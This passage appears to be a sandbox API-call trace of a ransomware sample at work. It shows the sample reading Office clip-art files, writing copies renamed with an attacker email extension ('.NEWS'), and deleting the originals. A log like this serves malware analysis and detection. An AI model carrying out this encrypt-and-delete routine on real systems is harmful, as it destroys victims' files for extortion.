lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString=".7z") returned 3 [0081.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.282] lstrlenW (lpString=".dbf") returned 4 [0081.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.282] lstrlenW (lpString=".1cd") returned 4 [0081.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.282] lstrlenW (lpString=".jpg") returned 4 [0081.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.282] lstrlenW (lpString=".doc") returned 4 [0081.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString=".docx") returned 5 [0081.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.282] lstrlenW (lpString=".pdf") returned 4 [0081.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString=".xls") returned 4 [0081.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.282] lstrlenW (lpString=".xlsx") returned 5 [0081.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.282] lstrlenW (lpString=".ppt") returned 4 [0081.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.282] lstrlenW (lpString=".zip") returned 4 [0081.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.282] lstrlenW (lpString=".rar") returned 4 [0081.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString=".bz2") returned 4 [0081.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.282] lstrlenW (lpString=".7z") returned 3 [0081.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.283] lstrlenW (lpString=".dbf") returned 4 [0081.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.283] lstrlenW (lpString=".1cd") returned 4 [0081.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0081.283] lstrlenW (lpString=".jpg") returned 4 [0081.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.283] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.283] lstrlenW (lpString="BS00184_.WMF") returned 12 [0081.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.284] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4976) returned 1 [0081.284] CloseHandle (hObject=0x31c) returned 1 [0081.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0081.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0081.284] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.284] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0081.284] GetLastError () returned 0x0 [0081.284] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1370, lpOverlapped=0x0) returned 1 [0081.521] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1380, lpOverlapped=0x0) returned 1 [0081.522] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.522] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0081.522] SetEndOfFile (hFile=0x39c) returned 1 [0082.075] CloseHandle (hObject=0x39c) returned 1 [0082.076] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.076] SetEndOfFile (hFile=0x31c) returned 1 [0082.077] CloseHandle (hObject=0x31c) returned 1 [0082.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString=".doc") returned 4 [0082.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString=".docx") returned 5 [0082.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.469] lstrlenW (lpString=".pdf") returned 4 [0082.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString=".xls") returned 4 [0082.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.469] lstrlenW (lpString=".xlsx") returned 5 [0082.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.469] lstrlenW (lpString=".ppt") returned 4 [0082.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString=".zip") returned 4 [0082.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.469] lstrlenW (lpString=".rar") returned 4 [0082.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString=".bz2") returned 4 [0082.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString=".7z") returned 3 [0082.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString=".dbf") returned 4 [0082.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString=".1cd") returned 4 [0082.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString=".jpg") returned 4 [0082.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.469] lstrlenW (lpString=".doc") returned 4 [0082.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.470] lstrlenW (lpString=".docx") returned 5 [0082.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.470] lstrlenW (lpString=".pdf") returned 4 [0082.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.470] lstrlenW (lpString=".xls") returned 4 [0082.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.470] lstrlenW (lpString=".xlsx") returned 5 [0082.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.470] lstrlenW (lpString=".ppt") returned 4 [0082.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.470] lstrlenW (lpString=".zip") returned 4 [0082.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.470] lstrlenW (lpString=".rar") returned 4 [0082.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.470] lstrlenW (lpString=".bz2") returned 4 [0082.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.470] lstrlenW (lpString=".7z") returned 3 [0082.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.470] lstrlenW (lpString=".dbf") returned 4 [0082.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.470] lstrlenW (lpString=".1cd") returned 4 [0082.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0082.470] lstrlenW (lpString=".jpg") returned 4 [0082.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.636] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.636] lstrlenW (lpString="CRANINST.WMF") returned 12 [0082.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.636] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=49546) returned 1 [0082.636] CloseHandle (hObject=0x374) returned 1 [0082.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0082.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.636] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.636] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.637] GetLastError () returned 0x0 [0082.637] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xc18a, lpOverlapped=0x0) returned 1 [0082.639] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xc190, lpOverlapped=0x0) returned 1 [0082.640] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.640] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0082.641] SetEndOfFile (hFile=0x33c) returned 1 [0082.641] CloseHandle (hObject=0x33c) returned 1 [0082.642] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.642] SetEndOfFile (hFile=0x374) returned 1 [0082.643] CloseHandle (hObject=0x374) returned 1 [0082.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0082.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.644] lstrlenW (lpString=".doc") returned 4 [0082.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.644] lstrlenW (lpString=".docx") returned 5 [0082.644] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0082.644] lstrlenW (lpString=".pdf") returned 4 [0082.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.644] lstrlenW (lpString=".xls") returned 4 [0082.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.644] lstrlenW (lpString=".xlsx") returned 5 [0082.644] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0082.644] lstrlenW (lpString=".ppt") returned 4 [0082.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.644] lstrlenW (lpString=".zip") returned 4 [0082.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.645] lstrlenW (lpString=".rar") returned 4 [0082.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.645] lstrlenW (lpString=".bz2") returned 4 [0082.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.645] lstrlenW (lpString=".7z") returned 3 [0082.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.645] lstrlenW (lpString=".dbf") returned 4 [0082.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.645] lstrlenW (lpString=".1cd") returned 4 [0082.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.645] lstrlenW (lpString=".jpg") returned 4 [0082.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.645] lstrlenW (lpString=".doc") returned 4 [0082.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.645] lstrlenW (lpString=".docx") returned 5 [0082.645] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0082.645] lstrlenW (lpString=".pdf") returned 4 [0082.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.645] lstrlenW (lpString=".xls") returned 4 [0082.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.646] lstrlenW (lpString=".xlsx") returned 5 [0082.646] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0082.646] lstrlenW (lpString=".ppt") returned 4 [0082.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.646] lstrlenW (lpString=".zip") returned 4 [0082.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.646] lstrlenW (lpString=".rar") returned 4 [0082.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.646] lstrlenW (lpString=".bz2") returned 4 [0082.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.646] lstrlenW (lpString=".7z") returned 3 [0082.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.646] lstrlenW (lpString=".dbf") returned 4 [0082.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.646] lstrlenW (lpString=".1cd") returned 4 [0082.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0082.646] lstrlenW (lpString=".jpg") returned 4 [0082.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.646] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.646] lstrlenW (lpString="CUP.WMF") returned 7 [0082.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.647] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2966) returned 1 [0082.647] CloseHandle (hObject=0x374) returned 1 [0082.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0082.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.647] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.647] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.647] GetLastError () returned 0x0 [0082.647] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xb96, lpOverlapped=0x0) returned 1 [0082.649] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xba0, lpOverlapped=0x0) returned 1 [0082.650] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.650] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe2, lpOverlapped=0x0) returned 1 [0082.650] SetEndOfFile (hFile=0x33c) returned 1 [0082.650] CloseHandle (hObject=0x33c) returned 1 [0082.651] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.651] SetEndOfFile (hFile=0x374) returned 1 [0082.652] CloseHandle (hObject=0x374) returned 1 [0082.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0082.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.652] lstrlenW (lpString=".doc") returned 4 [0082.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.652] lstrlenW (lpString=".docx") returned 5 [0082.652] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0082.652] lstrlenW (lpString=".pdf") returned 4 [0082.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.652] lstrlenW (lpString=".xls") returned 4 [0082.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.652] lstrlenW (lpString=".xlsx") returned 5 [0082.653] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0082.653] lstrlenW (lpString=".ppt") returned 4 [0082.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.653] lstrlenW (lpString=".zip") returned 4 [0082.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.653] lstrlenW (lpString=".rar") returned 4 [0082.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString=".bz2") returned 4 [0082.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString=".7z") returned 3 [0082.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.653] lstrlenW (lpString=".dbf") returned 4 [0082.653] lstrcmpiW (lpString1=".dbf", 